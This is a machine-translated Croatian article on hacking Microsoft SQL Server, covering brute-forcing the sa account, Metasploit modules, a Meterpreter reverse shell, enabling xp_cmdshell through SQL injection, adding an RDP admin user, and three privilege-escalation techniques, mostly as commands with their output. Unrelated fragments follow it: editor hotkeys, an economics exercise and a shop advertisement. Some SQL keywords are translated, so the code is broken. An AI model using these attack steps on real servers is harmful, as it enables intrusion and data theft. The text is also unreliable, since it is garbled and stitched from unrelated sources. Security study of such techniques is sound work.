Metode i sredstva hakiranja MS SQL baza podataka. Povećanje privilegija. Lažno predstavljanje korisnika

18.05.2020 Vijesti

Gotovo nijedan ozbiljan pentest nije potpun bez provjere DBMS-a, jer je to jedan od najpopularnijih vrata do željenih informacija i stroja među napadačima. U velikim projektima MS se često koristi kao DBMS SQL poslužitelj. A danas ćemo razgovarati o provjeri njegove sigurnosti. Nećemo otkriti Ameriku - iskusni drugovi će samo osvježiti svoje znanje, ali za one koji tek počinju svladavati temu, pokušao sam sve detaljnije raščlaniti točku po točku.

UPOZORENJE!

Sve informacije su date samo u informativne svrhe. Ni autor ni urednici ne snose odgovornost za bilo kakvu moguću štetu prouzročenu materijalima ovog članka.

Uvod

Jedan od najvažnijih kriterija pouzdanosti informacijski sistem- Sigurnost DBMS-a. Napadi usmjereni na njega su u većini slučajeva kritični, jer mogu djelomično ili potpuno poremetiti rad sustava. Budući da su velike organizacije davno formirale svoju infrastrukturu i da im ažuriranje na nove verzije softvera stvara “velike” probleme, najčešće verzije su i dalje MS SQL Server 2005 i MS SQL Server 2008. No to su samo statistike, a dalje ćemo ih razmatrati vektore i tehnike zajedničke svim verzijama. Radi praktičnosti, uvjetno ćemo podijeliti cijeli proces pentesta u nekoliko faza.

Kako pronaći MS SQL

Prva stvar koju pentester počinje činiti je prikupljanje informacija o uslugama koje se nalaze na poslužitelju žrtve. Najvažnija stvar koju trebate znati za pretraživanje Microsoft SQL Poslužitelj, - brojevi portova koje sluša. I sluša portove 1433 (TCP) i 1434 (UDP). Da biste provjerili postoji li MS SQL na poslužitelju žrtve, morate ga skenirati. Da biste to učinili, možete koristiti Nmap sa skriptom ms-sql-info. Skeniranje će započeti otprilike ovako:

Nmap -p 1433 --script=ms-sql-info 192.168.18.128

Pa, rezultat njegovog izvođenja prikazan je na Sl. 1.

Uz Nmap, postoji odličan modul skeniranja za Metasploit mssql_ping, koji vam također omogućuje određivanje prisutnosti MS SQL-a na napadnutom poslužitelju:

Msf> koristi pomoćni/skener/mssql/mssql_ping msf pomoćni(mssql_ping) > postavi RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf pomoćni(mssql_ping) > pokreni

Pomoću jedne od ovih opcija možete brzo utvrditi je li MS SQL instaliran na poslužitelju, a također saznati njegovu verziju. Nakon toga možete prijeći na sljedeću fazu.


Sirova snaga

Recimo da smo pronašli DBMS na poslužitelju. Sada je zadatak pristupiti mu. I tu se susrećemo s prvom preprekom u vidu autentifikacije. Općenito, MS SQL podržava dvije vrste provjere autentičnosti:

  1. Windows Authentication je pouzdana veza u kojoj SQL Server prihvaća korisnički račun, pod pretpostavkom da je već provjeren na operacijski sustav.
  2. Mješoviti način rada - provjera autentičnosti pomoću SQL Server + Windows provjera autentičnosti.

Prema zadanim postavkama koristi se prvi način provjere autentičnosti, a mješoviti način se aktivira zasebno. U praksi je prilično teško pronaći bazu bez mješovitog načina rada - ona je fleksibilnija.

Neke prednosti mješovitog načina rada

  • Omogućuje SQL Serveru da podržava starije aplikacije, kao i aplikacije trećih strana koje zahtijevaju autentifikaciju SQL Servera.
  • Omogućuje SQL Serveru da podržava okruženja s više operativnih sustava u kojima korisnici nisu autentificirani s Windows domenom.
  • Omogućuje programerima softver distribuirati svoje aplikacije pomoću složene hijerarhije dopuštenja temeljene na poznatim, unaprijed definiranim prijavama na SQL Server.

Obično u ovoj fazi nemamo pristup korporativnoj mreži, stoga ne možemo koristiti autentifikaciju putem Windowsa. Ali našli smo otvorena luka s MS SQL-om, što znači da pokušavamo brutalno forsirati sa administratorski račun, što je standard za mješoviti način rada. Za automatizaciju procesa koristimo Metasploit modul mssql_login:

Msf > koristi auxiliary/scanner/mssql/mssql_login msf auxiliary(mssql_login) > postavi RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliary(mssql_login) > postavi PASS_FILE /root/Desktop/pass.txt [*] 17 2. 16.2. 104: 1433 - MSSQL - Pokretanje skenera za provjeru autentičnosti. [*] 172.16.2.104:1433 - PRIJAVA NIJE USPJELA: WORKSTATION\sa:admin (Netočno:) [*] 172.16.2.104:1433 - PRIJAVA NIJE USPJELA: WORKSTATION\sa:qwerty (Netočno:) [*] 172.16.2.104:1433 - PRIJAVA NIJE USPJELA: WORKSTATION\sa:toor (Incorrect:) [+] 172.16.2.104:1433 - PRIJAVA USPJEŠNA: WORKSTATION\sa:root [*] Skenirano 1 od 1 računala (100% dovršeno) [*] Izvršenje pomoćnog modula dovršeno

Sjajno! Lozinka je pronađena, sada možemo prijeći na sljedeći korak. Ali što ako na poslužitelju nema sa računa? Tada ćete morati bruteirati prijavu, za što ćete morati naznačiti skripti drugu datoteku odakle ih preuzeti:

Msf auxiliary(mssql_login) > postavi USER_FILE /root/Desktop/user.txt

Dobivanje školjke

Ako smo uspjeli resetirati sa račun, možemo se prijaviti u bazu podataka. Dalje, skripta je jednostavna - omogućujemo pohranjenu proceduru koja nam omogućuje izvršavanje naredbi na razini operativnog sustava i učitavamo Meterpreter shell na poslužitelj. Cool dečki su napisali odličan modul za Metasploit, mssql_payload, koji automatizira ovaj proces:

Msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set RHOST 172.16.2.104 msf exploit(mssql_payload) > set USERNAME sa USERNAME => sa msf exploit(mssql_payload) > set PASSWORD root PASSWORD => root msf exploit( mssql_payload) > postavi PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > postavi LHOST 172.16.2.105 LHOST => 172.16.2.105 [*] Komanda Stager napredak - 100,00% učinjeno (102246 /102 246 bajtova ) [*] Meterpreter sesija 1 otvorena (172.16.2.105:4444 -> 172.16.2.104:3987) u 2015-02-20 10:42:52 -0500 meterpreter >

Sesija Meterpreter je stvorena, sada imate puni pristup. Možete ispisati administratorski hash, snimati snimke zaslona, ​​stvarati/brisati datoteke, omogućiti/onemogućiti miš ili tipkovnicu i još mnogo toga. Ovo je možda najpopularnija školjka koja se koristi u testovima prodora. Cijeli popis Meterpreterove naredbe se mogu vidjeti.

Što učiniti ako se prijava/lozinka ne poništi?

Ali nemojte si laskati, modul mssql_login neće vas često usrećiti: administratori vrlo rijetko ostavljaju lozinku kao zadanu. U ovom slučaju, SQL injekcija će nam pomoći da dobijemo ljusku. Zamislite HTML obrazac u koji korisnik unosi broj artikla i jednostavan ranjivi upit prema bazi podataka, a sve se izvodi pod administratorskim računom:

$strSQL = "SELECT * FROM . WHERE id=$id";

Varijabla $id nije filtrirana ni na koji način, što znači da možete provesti SQL injekciju u kojoj će se bilo koji zahtjev izvršiti pod sa admin računom. Kako biste izvršavali naredbe na razini operativnog sustava, morate omogućiti pohranjenu proceduru xp_cmdshell, koja je prema zadanim postavkama onemogućena. Morat ćemo poslati četiri zahtjeva da ga aktiviramo:

  1. EXEC sp_configure "prikaži napredne opcije",1;
  2. rekonfigurirati;
  3. ‘exec sp_configure "xp_cmdshell",1;
  4. rekonfigurirati

Pohranjena procedura sustava sp_configure omogućuje vam pregled, dokumentiranje, promjenu i vraćanje konfiguracije poslužitelja. Najlakši način pristupa poslužitelju je omogućiti RDP kroz registar, kreirati korisnika s administratorskim pravima i spojiti se.

Omogući RDP:

10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Stvorite korisnika:

10; exec master.dbo.xp_cmdshell "korijenski mrežni korisnik ili /ADD"

Dajemo prava:

10;exec master.dbo.xp_cmdshell "neto administratori lokalne grupe root/add"

Povećanje privilegija. POUZDAN

U prethodnom slučaju, zahtjev prema bazi podataka dogodio se u ime administratora, pa je stoga bilo tako lako izvršiti naredbe operativnog sustava. Ali što ako imamo smanjeni račun koji nema prava za omogućavanje xp_cmdshell? U ovom slučaju će nam pomoći pohranjene procedure i aktivirano svojstvo TRUSTWORTHY baze podataka.

Ali krenimo od samog početka. Radi veće jasnoće ovog vektora, opisat ću cijelu fazu u fazi konfiguriranja baze podataka i računa. Napravite novu YOLO bazu podataka: CREATE DATABASE YOLO; . Kreirajte novog korisnika bob s lozinkom marley: CREATE LOGIN bob WITH PASSWORD = "marley"; Korisniku bob dodjeljujemo vlasnika YOLO baze podataka:

KORISTITE YOLO ALTER LOGIN sa default_database = ; STVARANJE KORISNIKA IZ PRIJAVE ; EXEC sp_addrolemember,;

Zatim postavljamo svojstvo TRUSTWORTHY, koje određuje hoće li se objektima u ovoj bazi podataka (pogledi, korisnički definirane funkcije, pohranjene procedure) dopustiti pristup objektima izvan ove baze podataka u načinu oponašanja: ALTER DATABASE YOLO SET TRUSTWORTHY ON . Prijavite se na SQL Server koristeći bob:marley račun.

Stvorite pohranjenu proceduru za dodjelu račun bob sysadmin privilegije:

KORISTITE YOLO GO CREATE PROCEDURE sp_lvlup S IZVRŠI KAO VLASNIK KAO EXEC sp_addsrvrolemember "bob","sysadmin" GO

Uvjerimo se da nemamo povlastice sysadmina prije izvršavanja pohranjene procedure:

SELECT is_srvrolemember("sysadmin") rezultat = 0

Izvršimo gore stvorenu pohranjenu proceduru sp_lvlup:

KORISTITE YOLO EXEC sp_lvlup

I opet provjerimo naše privilegije:

SELECT is_srvrolemember("sysadmin") rezultat = 1

Procedura sp_lvlup je dizajnirana da se izvodi kao VLASNIK, što je u ovom slučaju administratorski račun sa. To je moguće jer je db_owner stvorio pohranjenu proceduru za svoju bazu podataka, a ova baza podataka je konfigurirana kao pouzdana, to jest, svojstvo TRUSTWORTHY je On. Bez ovog svojstva, postupak ne bi uspio zbog nedostatka privilegija. Aktivirano POUZDANO nije uvijek loša stvar. Problemi počinju kada administratori ne smanje privilegije vlasnika baze podataka. Kao rezultat toga, bob račun je dobio povlastice sysadmin nakon izvođenja procedure sp_lvlup. Da biste vidjeli koje baze podataka imaju omogućeno svojstvo TRUSTWORTHY, možete koristiti sljedeći upit:

SELECT name, database_id, is_trustworthy_on IZ sys.databases

Ili za automatizaciju cijelog procesa, možete koristiti mssql_escalate_dbowner_sqli modul za Metasploit:

Koristite auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.2.104:80 - Uspjeh! Bob je sada sysadmin!

Povećanje privilegija. Lažno predstavljanje korisnika

Sljedeći vektor zove se Oponašanje korisnika. Ponekad pohranjene procedure trebaju pristup vanjskim resursima koji se nalaze izvan baze podataka aplikacije. Da bi to postigli, programeri koriste privilegiju IMPERSONATE i funkciju EXECUTE AS, koja omogućuje da se zahtjev izvrši kao drugi račun. Ovo nije ranjivost sama po sebi, već slaba konfiguracija, što dovodi do eskalacije privilegija.

Kao iu prethodnom primjeru, počet ćemo razumijevati bit vektora u fazi konfiguracije. Prije svega, kreiramo četiri računa:

CREATE LOGIN User1 WITH PASSWORD = "secret"; KREIRAJ PRIJAVU Korisnika2 SA LOZINKOM = "tajno"; STVARANJE PRIJAVE Korisnika3 SA LOZINKOM = "tajno"; STVARANJE PRIJAVE Korisnika4 SA LOZINKOM = "tajno";

Zatim korisniku User1 dajemo privilegije za izvršavanje zahtjeva u ime sa , User2 , User3:

USE master; GRANT IMPERSONATE ON LOGIN::sa to ; GRANT IMPERSONATE ON LOGIN::MyUser2 to ; GRANT IMPERSONATE ON LOGIN::MyUser3 to ; IĆI

Prijavite se na SQL Server pod računom User1 i provjerite jesu li primijenjene privilegije za izvršavanje upita s drugih računa.

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = "IMPERSONATE"

Sada provjerimo trenutne privilegije:

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Rezultat = 0

Pa, sada sam trik - izvršimo zahtjev u ime sa, budući da smo gore dali privilegije User1 računu da izvršava zahtjeve u ime sa:

IZVRŠI KAO LOGIN = "sa" SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Rezultat = 1

Sve je u redu, sada možemo izvršavati naredbe kao sa , što znači da možemo omogućiti xp_cmdshell pohranjenu proceduru:

EXEC sp_configure "prikaži napredne opcije",1 PONOVNO KONFIGURIRAJ KRENI EXEC sp_configure "xp_cmdshell",1 PONOVNO KONFIGURIRAJ KRENI

INFO

Zadani račun administratora sustava može pokretati upite u ime bilo kojeg drugog korisnika. Sljedeći upit pomoći će vam prikazati tablicu sa svim korisnicima: SELECT * FROM master.sys.sysusers WHERE islogin = 1 . Za pokretanje zahtjeva u ime drugog računa upotrijebite EXECUTE AS LOGIN = "AnyUser" . Za povratak na prethodni račun samo pokrenite upit REVERT.

To je trik. Za automatizaciju, kao i obično, možete koristiti Metasploit modul mssql_escalete_executeas_sqli:

Koristite auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.2.104:80 - Uspjeh! Korisnik1 je sada sysadmin!

Povećanje privilegija. Pohranjene procedure potpisane certifikatom

Kako bismo opisali ovaj vektor, stvorit ćemo ranjivu pohranjenu proceduru potpisanu certifikatom. Za razliku od prethodnih primjera, eskalacija privilegija ne zahtijeva:

  • svojstvo TRUSTWORTHY = Uključeno;
  • privilegije IMPERSONATE i funkcija EXECUTE AS;
  • Konfiguriranje pohranjene procedure s klasom WITH EXECUTE AS da se izvrši kao drugi račun.

Kreirajmo račun s minimalnim pravima:

KREIRAJTE LOGIN tor SA LOZINKOM = "loki"; KRENI -- Postavite zadanu bazu podataka za prijavu ALTER LOGIN s default_database = ; IĆI

Isključimo svojstvo TRUSTWORTHY: ALTER DATABASE master SET TRUSTWORTHY OFF . Kreirajmo jednostavnu pohranjenu proceduru sp_xxx koja će prikazati stupac imena iz tempdb baze podataka, kao i iz baze podataka koju je unio korisnik:

KORISTI MASTER; GO CREATE PROCEDURE sp_xxx @DbName varchar(max) AS BEGIN Deklariraj @query kao varchar(max) SET @query = "SELECT name FROM master..sysdatabases where name like ""%"+ @DbName+"%"" OR name=" "tempdb"""; IZVRŠI(@upit) KRAJ KRENI

Nakon toga izradit ćemo ključ za šifriranje za MASTER bazu podataka:

STVARANJE ŠIFRIRANJA GLAVNOG KLJUČA POMOĆU LOZINKE = "tajno"; IĆI

I certifikat:

CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = "Za potpisivanje sp_xxx", EXPIRY_DATE = "2035-01-01"; IĆI

Sljedeći korak je kreiranje prijave iz sp_xxx certifikata:

KREIRAJ PRIJAVU sp_xxx_login IZ CERTIFIKATA sp_xxx_cert

I potpišite proceduru kreiranim certifikatom:

DODAJTE POTPIS na sp_xxx CERTIFIKATOM sp_xxx_cert; IĆI

Dodijelimo login sp_lvlup2 sysadmin privilegije:

EXEC master..sp_addsrvrolemember @loginame = N"sp_xxx_login", @rolename = N"sysadmin" KRENI

Dajemo privilegije članovima grupe PUBLIC za provođenje postupka:

DODIJELI IZVRŠAVANJE NA SP_xxx PUBLIC-u

Kao rezultat toga, kreirali smo tor korisnika s minimalnim pravima, pohranjenu proceduru sp_xxx koja prikazuje naziv unesene baze podataka, kreirali smo certifikat sp_xxx_cert i njime potpisali pohranjenu proceduru, a također smo kreirali login sp_xxx_login iz certifikata i dali mu privilegije sysadmina. Time je pripremni dio završen. Prijavite se svojim tor računom i pozovite pohranjenu proceduru:

EXEC MASTER.dbo.sp_xxx "master"

Kao što je i očekivano, vratit će nam naziv baze podataka koju smo naveli - master i tempdb (vidi sliku 3).

Riža. 3. Rezultat EXEC zahtjeva MASTER.dbo.sp_xxx "master"

Upit poput EXEC MASTER.dbo.sp_sqli2 "master""--" vratit će samo master (pogledajte sliku 4).

sl.4. Rezultat EXEC zahtjeva MASTER.dbo.xxx "master""--"

Sjajno. To znači da je pohranjena procedura osjetljiva na SQL injekciju. Provjerimo naše privilegije pomoću sljedećeg upita:

EXEC MASTER.dbo.sp_xxx "master"";SELECT is_srvrolemember(""sysadmin"")as priv_certsp--";

priv_cersp=1 (vidi sliku 5) znači da imamo sysadmin privilegije. Izvršite naredbu EXEC master..xp_cmdshell "whoami"; Neće raditi jer tor račun ima minimalna prava, ali ako je ovaj upit ugrađen u SQL injekciju, tada će sve raditi (slika 6).

Ono što je najzanimljivije je da će ovaj trik raditi u verzijama 2005–2014.

Zaključak

Razlika u svim tim vektorima je prilično značajna. U nekim slučajevima, da biste postigli cilj, možete se ograničiti na uključeno svojstvo TRUSTWORTHY, koje omogućuje korištenje resursa ove baze podataka objektima smještenim izvana kako bi se stvorila i izvršila pohranjena procedura koja povećava privilegije. U nekim slučajevima možete izvršavati pohranjene procedure u ime drugih računa zahvaljujući privilegijama IMPERSONATE i funkciji EXECUTE AS, au trećim slučajevima sve što je važno je prisutnost SQL injekcije putem koje možete ubaciti upit, a izvršit će se u ime drugog računa. Da biste u potpunosti razumjeli nijanse i suptilnosti, savjetovao bih testiranje ovih vektora na vašem lokalnom računalu.

Članak ne daje iscrpan opis svih vektora napada na MS SQL DBMS, ali će biti vrlo koristan za površnu sigurnosnu analizu. Također preporučujem da se upoznate s drugim vektorom hakiranja putem DB veza, koji je opisao Alexey Tyurin u prosinačkom izdanju ][ (#191) u odjeljku Jednostavno hakiranje. To je sve, hvala na pažnji i vidimo se opet.

Općenito

Ctrl+x,j — Prikaži pozadinske zadatke

Ctrl-X+A - trenutni VFS (ftp, itd.)

ESC+znamenka - isto kao F(znamenka) (ESC+5 = F5)

F1-F12

F3 - Pregledajte datoteku

F3 - (Tijekom uređivanja) Početak odabira teksta. Ponovnim pritiskom na F3 odabir će se prekinuti

F4 - Uređivanje datoteke

F5 - Odabir kopije

F6 - Premjesti odabir

F8 - Brisanje odabira

Shift+F1 - otvara izbornik brz prijelaz između točaka montiranja na lijevoj ploči

Shift+F2 - otvara izbornik za brzi prijelaz između točaka montiranja na desnoj ploči

Shift+F5 - kopirajte datoteku u isti direktorij

Shift+F6 - premjestiti/preimenovati datoteku u isti direktorij

traži

ctrl-s - Brza pretraga datoteka ili imenik

alt-shift-? — Poziva napredni izbornik za pretraživanje datoteka

Naredbeni redak

ctrl-a — pokazivač na početak

ctrl-e - kursor do kraja

esc-! — izvršiti naredbu s parametrima

ctrl-x, p ili alt+a - zalijepi naziv direktorija

esc, enter; ctrl-enter - slanje trenutnog objekta na naredbeni redak

ctrl-x,t — Zalijepi sve odabrane objekte u naredbeni redak

esc, tab - dodavanje naredbi

alt-a - zalijepi trenutni direktorij u naredbeni redak

Alt-TAB (ESC+TAB) - Najbolja kombinacija za traženje preuzetih datoteka (na primjer, zaboravili ste kako se ispravno piše: netcfg ili netconfig. Samo upišite net u naredbeni redak i pritisnite Alt-TAB - odmah će se prikazati što možete pokrenuti, što počinje riječima net) pritisnite dvaput!
alt-shift-! — izlaz rezultata naredbe
ctrl-shift-v - zalijepi iz međuspremnika

Datotečne operacije

Shift+F4 - stvara novu datoteku

shift-f6 - preimenuj datoteku

Ctrl+x,i — Brzi pregled informacija o trenutnom objektu na drugoj ploči

Ctrl+x,q - Brzi pregled sadržaja datoteke u drugoj ploči

alt-. - prikazati skrivene datoteke

ctrl-x, c - dozvole za datoteke

ctrl-x, o - vlasnik datoteke

Shift-F3 - pregled datoteke (neobrađeno/bez ekstenzije)

Ctrl + x v - stvoriti relativnu simboličku vezu

trl+x,Ctrl+s — Uredi simboličku vezu

ctrl-t — označi datoteku ili poništi oznaku

+ — odaberite (označite) grupu datoteka prema regularni izraz

\ - poništite odabir grupe datoteka

ctrl-x, ctrl-d - usporedba datoteka

ctrl-t ili Umetni — Odaberite trenutni objekt

Rad s katalozima

alt-o — otvorite direktorij ispod kursora na susjednoj ploči

alt-i — otvori trenutni direktorij u susjednoj ploči

ctrl-\ - prikaži “Imenik imenika”

alt-shift-h — Prikaži povijest direktorija

Ctrl+l - Ponovno crtanje zaslona

Ctrl+Razmaknica - Prikaži veličinu trenutnog direktorija

Ctrl-X+D - usporedba imenika

ESC+C - brzo mijenjanje imenika

alt-c - prozor "Brza promjena imenika".

Rad s pločama

Ctrl-O - isključite ploče i pogledajte što je ispod njih (radi SAMO u Linuxu!) Ovdje također možete raditi u ljusci.

alt-, — Promjena načina prikaza ploče (vertikalno/vodoravno)

alt-t prekidač detaljan način rada prikaz ploče

Meta+c - Poziva izbornik za brzu promjenu trenutnog direktorija na aktivnoj ploči

ctrl-u - mijenjanje ploča

alt-g - označava prvu datoteku ili direktorij na prikazanom popisu na ploči (u suštini kao tipka Home, pomiče kursor prema gore)

alt-e — promijenite kodiranje ploče

Ctrl + x i - prebacuje pasivnu ploču u način rada "Informacije".

Ctrl + x q - stavlja pasivnu ploču u način brzog pregleda

ctrl-x ! — izbornik → “Kriterij panelizacije” (git)

Priča

alt+h; esc, h - povijest naredbenog retka

alt-p, alt-n - povratak prethodne (sljedeće) linije naredbi

alt-y. Prelazak na prethodni imenik iz povijesti navigacije imenika; ekvivalentan je kliku miša na simbol '<‘ в верхнем углу панели.

alt-u. Prelazak na sljedeći imenik iz povijesti navigacije imenika; jednako je kliku na simbol '>' mišem.

Urednik

F4 (u editoru) - traži i zamijeni

F6 (u uređivaču) - pretraživanje pomoću regularnog izraza

Shift-Del (u uređivaču) - izbrišite blok (i stavite ga u međuspremnik)

Shift-Ins (u uređivaču) - umetnite blok iz međuspremnika (radi čak i na drugoj konzoli!!!) Možete uređivati ​​dvije ili više datoteka na različitim konzolama i premještati blokove između njih.

Shift+F3 - Počnite odabirati blok teksta. Ponovnim pritiskom na F3 odabir će se prekinuti

Shift+F5 - Zalijepi tekst iz mc-ovog unutarnjeg međuspremnika (čitaj vanjsku datoteku)

Meta+i - Prebacuje način rada "Automatsko poravnavanje s povratkom na početak reda", pogodan za lijepljenje formatiranog teksta iz međuspremnika

Meta+l — Idite na red prema njegovom broju

Meta+q - Umetanje literala (znak koji se ne ispisuje). Vidi. tablica ispod

Meta+t — Poredaj retke odabranog teksta

Meta+u - Izvršite vanjsku naredbu i umetnite njen izlaz na mjesto ispod kursora

Ctrl+f — Kopirajte odabrani fragment u interni mc međuspremnik (zapišite u vanjsku datoteku)

Ctrl+k - Brisanje dijela retka do kraja retka

Ctrl+n - Stvorite novu datoteku

Ctrl+s — Uključite ili isključite označavanje sintakse

Ctrl+t — Odaberite kodiranje teksta

Ctrl+u - Poništavanje radnji

Ctrl+x - Idi na kraj sljedećeg

Ctrl+y - Brisanje linije

Ctrl+z - Idi na početak prethodne riječi

Meta+Enter — Dijalog za prelazak na definiciju funkcije

Meta+- - Povratak nakon odlaska na definiciju funkcije

Meta++ - Pomaknite se naprijed na definiciju funkcije

Meta+n — Omogući/onemogući prikaz brojeva redaka

kartica Pomiče odabrani tekst udesno ako je opcija “Trajni blokovi” isključena

Meta-kartica Pomiče odabrani tekst ulijevo ako je opcija "Trajni blokovi" isključena

Shift+strelice Odaberite tekst

Meta+strelice Odaberite okomiti blok

Meta+Shift+ - Promjena načina prikaza kartica i razmaka

Meta+Shift++ Promjena načina rada "Automatsko poravnavanje povratkom na početak reda".

Tablica prikazuje ovisnost ukupnih troškova poduzeća o proizvodnji proizvoda. Izračunajte troškove: fiksne, varijabilne, prosječne ukupne, prosječne fiksne, prosječne varijabilne. U tablici ispunite stupce FC, VC, MC, ATC, AFC, AVC:

Ukupni troškovi, TC, rub.F.C.V.C.M.C.ATCAVCA.F.C.
0 60
1 130
2 180
3 230
4 300

Riješenje:

Fiksni troškovi ( Fiksni troškovi) su oni troškovi koji ne ovise o količini proizvedenih proizvoda ili usluga. Bez obzira koliko poduzeće proizvodi, njegovi fiksni troškovi se ne mijenjaju. Čak i ako poduzeće nije proizvelo niti jednu jedinicu proizvoda, stvara troškove, na primjer, najam prostora, naknade za grijanje, naknade za kredit itd.

Dakle, FC za bilo koji volumen proizvodnje bit će jednak 60 rubalja.

Varijabilni troškovi ( Varijabilni troškovi) su troškovi koji se mijenjaju kada se mijenja obujam proizvedenih proizvoda ili usluga. U zbroju s fiksnim troškovima jednaki su vrijednosti ukupnih troškova ( Ukupni troškovi):

TC = FC + VC.

Odavde:

VC = TC - FC

VC(0) = 60 - 60 = 0,

VC(1) = 130 - 60 = 70,

VC(2) = 180 - 60 = 120,

VC(3) = 230 - 60 = 170,

VC(4) = 300 - 60 = 240.

Granični trošak ( Granični troškovi) je povećanje troškova povezano s proizvodnjom dodatne jedinice proizvoda.

MC = ΔTC / ΔQ

Budući da je u ovom problemu povećanje outputa uvijek jednako 1, ovu formulu možemo prepisati na sljedeći način:

MC = ΔTC / 1 = ΔTC

MC(1) = TC(1) - TC(0) = 130 - 60 = 70,

MC(2) = TC(2) - TC(1) = 180 - 130 = 50,

MC(3) = TC(3) - TC(2) = 230 - 180 = 50,

MC(4) = TC(4) - TC(3) = 300 - 230 = 70.

Prosječni ukupni troškovi ( Prosječni ukupni troškovi) je trošak proizvodnje jedne jedinice outputa.

ATC = TC/Q

ATC(1) = TC(1) / 1 = 130 / 1 = 130,

ATC(2) = TC(2) / 2 = 180 / 2 = 90,

ATC(3) = TC(3) / 3 = 230 / 3 = 76,67,

ATC(4) = TC(4) / 4 = 300 / 4 = 75.

Prosječni fiksni troškovi ( Prosječni fiksni troškovi) su fiksni troškovi po jedinici outputa.

AFC = FC/Q

AFC(1) = FC(1) / 1 = 60 / 1 = 60,

AFC(2) = FC(2) / 2 = 60 / 2 = 30,

AFC(3) = FC(3) / 3 = 60 / 3 = 20,

AFC(4) = FC(4) / 4 = 60 / 4 =15.

Prosječni varijabilni troškovi ( Prosječni varijabilni troškovi) su varijabilni troškovi proizvodnje jedne jedinice outputa.

AVC = VC/Q

AVC(1) = VC(1) / 1 = 70 / 1 = 70,

AVC(2) = VC(2) / 2 = 120 / 2 = 60,

AVC(3) = VC(3) / 3 = 170 / 3 = 56,67,

AVC(4) = VC(4) / 4 = 240 / 4 =60.

Poznavajući ATC i AFC, prosječni varijabilni troškovi također se mogu pronaći kao razlika između prosječnih ukupnih i prosječnih fiksnih troškova:

AVC = ATC - AFC

Popunimo praznine u tablici:

Izlaz po jedinici vremena, Q, kom.Ukupni troškovi, TC, rub.F.C.V.C.M.C.ATCAVCA.F.C.
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15

Organiziranje odmora je težak zadatak. Ima toliko stvari o kojima treba razmišljati i brinuti se. Tvrtka MF Search pojednostavljuje jedan od zadataka - dekor. Prikupili smo katalog blagdanske robe, koji sadrži razne ukrase za prostore i sitnice korisne za proslave.

Katalog robe za odmor: izrada popisa za kupovinu

MF Search katalog možemo nazvati već gotovim popisom za kupovinu. Ima prikladnu i detaljnu strukturu. Kod nas možete kupiti:

  • Pribor za vjenčanje. Trake, konfeti, bravice, dekori za predsoblje i auto i još mnogo toga.
  • Sve za karneval. U ovom odjeljku pronaći ćete dodatke potrebne za kostimiranu zabavu, novogodišnji karneval, Noć vještica, tematsku rođendansku zabavu itd.
  • Posuđe za jednokratnu upotrebu. Stol nije uvijek postavljen porculanom i keramikom. Na primjer, za postavljanje dječjeg stola ili za proslavu rođendana u uredu, prikladnije je koristiti papirnate tanjure i šalice.
  • Igračke za zabavu i mjehurić. Kako djeci ne bi bilo dosadno na odmoru, morate se unaprijed pobrinuti za njihovo slobodno vrijeme. Kakav rezultat! Prikupili smo sve potrebne potrepštine, sve što trebate učiniti je pronaći njihovu namjenu.
  • Petarde i prskalice. Oni će odmor učiniti svijetlim i nezaboravnim.
  • Svijeće. Ukrasite tortu, provedite romantičnu večer, napravite iznenađenje - tu je set svijeća za svaku priliku.

Baloni iz "MF Poisk"

MF Poisk je najveći dobavljač balona. Surađujemo s proizvođačima iz SAD-a, Španjolske i Meksika. Dajemo certifikate kvalitete i nudimo najcjelovitiju paletu balona, ​​tako da možete kreirati svoju jedinstvenu kompoziciju za svaki događaj. svi Baloni u našem katalogu možemo podijeliti na lateks i foliju.

  • Lateks. Mogu se odabrati ovisno o boji, veličini, obliku, temi. Prodajemo balone sa i bez uzorka, a nudimo i uslugu postavljanja logotipa. Osim klasičnih opcija, nudimo i one neobične - bušilice, loptice za vezivanje, figured loptice i za modeliranje.
  • Folija. Također postoji mnogo izbora: hodajući, veliki, mini i u obliku brojeva. Radi lakšeg odabira, proizvode smo razvrstali po temama, lako možete otići u odjeljak s proizvodima za vjenčanja, rođendane, Nove godine i druge posebne događaje.

Odvojeno smo stavili dodatke za lopte, na primjer, palice ili utege. Dizajnere će zanimati odjeljak s opremom - cilindri s helijem, pumpe, tiskarska boja.

Zašto biste trebali odabrati MF Search?

  • Najveći katalog lopti.
  • Certifikati kvalitete su javno dostupni.
  • Minimalni iznos narudžbe dostupan je svakom kupcu, bez obzira na veličinu događaja.
  • Sve blagdanske potrepštine na jednom mjestu.
  • Popusti za veliku veleprodaju.

Trudimo se da vaš boravak na stranici bude ugodan, stoga smo kreirali zasebne odjeljke s novim proizvodima, najprodavanijim proizvodima, kao i najavama "Uskoro". S nama ćete se uvjeriti da je organiziranje zabave jednostavno!

Kod korištenja gotovih softverski proizvodi, Na primjer CMS Joomla, često se morate suočiti s činjenicom da se u rezultatima programa pojavljuje neka vrsta poruke o pogrešci ili upozorenja, ali ne detaljne informacije, gdje se nalazi ovaj dio koda. U tim je slučajevima najlakši način potražiti datoteku u Ponoćni zapovjednik po redu. Pogledajmo kako to učiniti.

Obično znate približnu lokaciju datoteke s potrebnim fragmentom koda. Stoga, prije svega, idemo u direktorij u kojem se ova datoteka može nalaziti.

U kontekstni izbornik u polju" Počnite u:» ( Iz kataloga ) ostavimo bit: već smo u očekivanom direktoriju koji sadrži datoteku koju tražimo. Ali odabirom opcije " T ree" ( D drvo), možete odabrati drugi direktorij za pretraživanje.

